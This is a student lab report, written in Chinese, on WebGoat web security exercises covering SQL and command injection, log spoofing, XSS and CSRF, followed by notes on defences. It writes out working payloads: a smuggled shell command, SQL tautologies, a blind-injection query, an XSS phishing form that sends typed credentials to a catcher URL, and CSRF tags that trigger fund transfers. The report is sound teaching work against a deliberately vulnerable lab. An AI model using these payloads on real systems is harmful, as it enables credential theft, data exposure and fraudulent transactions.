Exp9 Web安全基礎 20164314

1、實踐目標javascript

       理解經常使用網絡攻擊技術的基本原理,包括(SQL,XSS,CSRF);html

       在Webgoat實踐下相關實驗。java

2、實踐過程web

準備工做:sql

       1.環境配置:數據庫

  下好jar包而後放在根目錄下瀏覽器

  使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 就能夠解壓運行webgoat了安全

 

       等待一下子他解壓,隨後發現他底端出現服務器

 

       說明已經能夠登陸網頁開始使用webgoatcookie

  2.使用webgoat:

  打開Firefox,輸入 http://127.0.0.1:8080/WebGoat/login.mvc ,訪問webgoat。

  使用默認帳號和密碼登陸便可,

  發現左邊目錄只有8個選項·········

      

       在網上搜了一下,

      

       沒找到啥有用的方法···

       

  最後在李師傅的幫助下,使用以下方法解決,

       

      成了!

   

 

 (一)SQL注入攻擊

   1.命令注入(Command Injection)

     目標:可以在目標主機上執行系統命令

 (1)右鍵網頁,點擊 inspect Element ,查看並編輯網頁源代碼,查找 BasicAuthentication.help ,在旁邊加上 "& netstat -an & ipconfig" 

(2)點擊網頁中的 view 按鈕,就能在網頁下面看到系統的網絡鏈接狀況了

   2.數字型SQL注入(Numeric SQL Injection)

   目標:注入一條SQL字符串,以顯示全部顯示的天氣數據

  (1)右鍵網頁,點擊 inspect Element ,查看並編輯網頁源代碼,查找 New York ,在 option value 中加入恆等真式 or 1=1 

  (2)點擊 go 就能夠看到全部的天氣數據了

   3.日誌欺騙(Log Spoofing)

      目標:經過在日誌文件中添加一個腳本像用戶名「admin」成功登陸

    (1)在 user name 中輸入 gly%0d%0aLogin Succeeded for username: admin(密碼隨意)

      

   (2)點擊 login in ,能夠看到成功

     

   4.字符串SQL注入(String SQL Injection)

      目標:做爲Smith,注入一個SQL字符串,顯示全部信用卡號

   (1)輸入永真式 ' or '1'='1 

   (2)點擊 Go! ,就能夠查看全部信用卡號了

 

   5.字符串SQL注入(String SQL Injection)

      目標:使用SQL注入做爲老闆(「Neville」)登陸,並使用全部功能

 (1)第一次登陸,在 password 中輸入永真式,發現失敗了,通過查看源代碼,找到緣由爲:password最大長度不夠,因而在源代碼中修改最大長度

(2)輸入永真式 ' or 1=1 -- ,登陸成功,

 

   6.盲數字SQL注入(Blind Numeric SQL Injection)

      目標:在表格中找到字段pin的值

 (1)判斷pin的值是否大於2500,

         使用命令 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500); 

         發現無效,因而推斷pin的值小於等於2500

 (2)使用二分法進行反覆猜想,最終找到pin的值爲2364

 

(二)XSS攻擊

   1.網絡釣魚和XSS(Phishing with XSS)

    目標:使用XSS和HTML插入,將html插入到該請求憑證中,添加javascript來實際收集憑證

 (1)在 search 框中輸入寫好的html代碼,代碼以下:

</form>
<script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

(2)點擊 search 後,下拉網頁就能夠看到輸入框,在裏面輸入任意字符,點擊 login ,就能夠看到攻擊成功了

 

   2.存儲的跨站點腳本(XSS)攻擊(Stored XSS)

      目標:在搜索人員頁面上使用一個漏洞來建立包含反射XSS攻擊的URL。確認另外一個使用該連接的員工受到攻擊的影響。

 (1)以下圖所示輸入,

 

(2)提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功

    

   3.執行反射的XSS攻擊(Reflected XSS)

      目標:執行反射XSS攻擊,在搜索人員頁面上使用一個漏洞來建立包含反射XSS攻擊的URL。確認另外一個使用該連接的員工受到攻擊的影響

 (1)在搜索框中輸入代碼 <script>alert('gly');</script> 後,點擊 purchase

 (2)彈出窗口,攻擊成功

    

(三)CSRF攻擊

   1.跨站請求僞造(CSRF)

      目標:給新聞組發郵件。電子郵件包含一個URL指向惡意請求的圖像。在這節課中,URL應該指向「攻擊」servlet,其中包含了「屏幕」和「菜單」參數,以及一          個額外的參數「transferFunds」,它具備任意的數值

(1)查看本身電腦的Screen和menu的值

         

(2)Title 中任意輸入,在 Message 中輸入代碼,點擊 Submit 後,點擊下方的連接,就能夠看到攻擊成功了。代碼以下,

<iframe src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1"/>

   

   2.CSRF Prompt By-Pass

      目標:輸入代碼,第一個爲轉賬的請求,第二個請求確認第一個請求觸發的提示

 (1)查看本身電腦的Screen和menu的值

         

(2)Title 中任意輸入,在 Message 中輸入代碼,點擊 Submit 後,點擊下方的連接,就能夠看到攻擊成功了。代碼以下,

<img src="attack?Screen=291&menu=900&transferFunds=6000" WIDTH="1" HEIGHT="1">
<img src="attack?Screen=291&menu=900&transferFunds=confirm" WIDTH="1" HEIGHT="1">

 

3、實驗後回答問題

      1.SQL注入攻擊原理,如何防護

         攻擊原理:SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。注射式攻擊                                 的根源在於,程序命令和用戶數據(即用戶輸入)之間沒有作到涇渭分明。這使得攻擊者有機會將程序命令看成用戶輸入的數據提交給We程序,以發號施令,隨心所欲。

         防護方法:

  (1)普通用戶與系統管理員用戶的權限進行嚴格的區分;

  (2)不使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取;

  (3)增強對用戶輸入的驗證;

  (4)多多使用SQL Server數據庫自帶的安全參數;

  (5)必要的狀況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。

 

     2.XSS攻擊的原理,如何防護

        攻擊原理:在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,攻擊者經過對網頁注入可執行代碼且成功地被瀏覽器執行,這些代碼包括HTML代碼和客戶端腳本,達到攻擊的目的,造成了一次有效XSS攻擊

        防護方法:

  (1)在表單提交或者url參數傳遞前,對須要的參數進行過濾;

  (2)檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、」(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等;

  (3)檢查輸出,嚴格控制輸出.

 

    3.CSRF攻擊原理,如何防護

       攻擊原理:是一種對網站的惡意利用也就是人們所知道的釣魚網站,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站,是一種依賴web瀏覽器的、被混淆過的代理人攻擊

       防護方法:

  (1)在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證;

  (2)驗證 HTTP Referer 字段,根據 HTTP 協議,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源地址。網站只須要對於每個轉帳請求驗證其 Referer 值,若是是以 bank.example 開頭的域名,則說明該請求是來自銀行網站本身的請求,是合法的。若是 Referer 是其餘網站的話,則有多是黑客的 CSRF 攻擊,拒絕該請求;

  (3)在請求地址中添加 token 並驗證,能夠在 HTTP 請求中以參數的形式加入一個隨機產生的 token,並在服務器端創建一個攔截器來驗證這個 token,若是請求中沒有 token 或者 token 內容不正確,則認爲多是 CSRF 攻擊而拒絕該請求。

4、實踐體會

        這是最後一次實驗了,經過webgoat深刻理解並運用了多種攻擊,嘗試了不少東西,這九次實驗,能夠說是很是有意思了(除了調試環境、調試bug),收穫良多,雖然不能成功攻擊他人,可是可以認識而且作出相應的防範了。學習到了很多的東西,也進行了屢次的實踐與嘗試。

       感謝老師的講課!感謝各位同窗幫助!

相關文章
相關標籤/搜索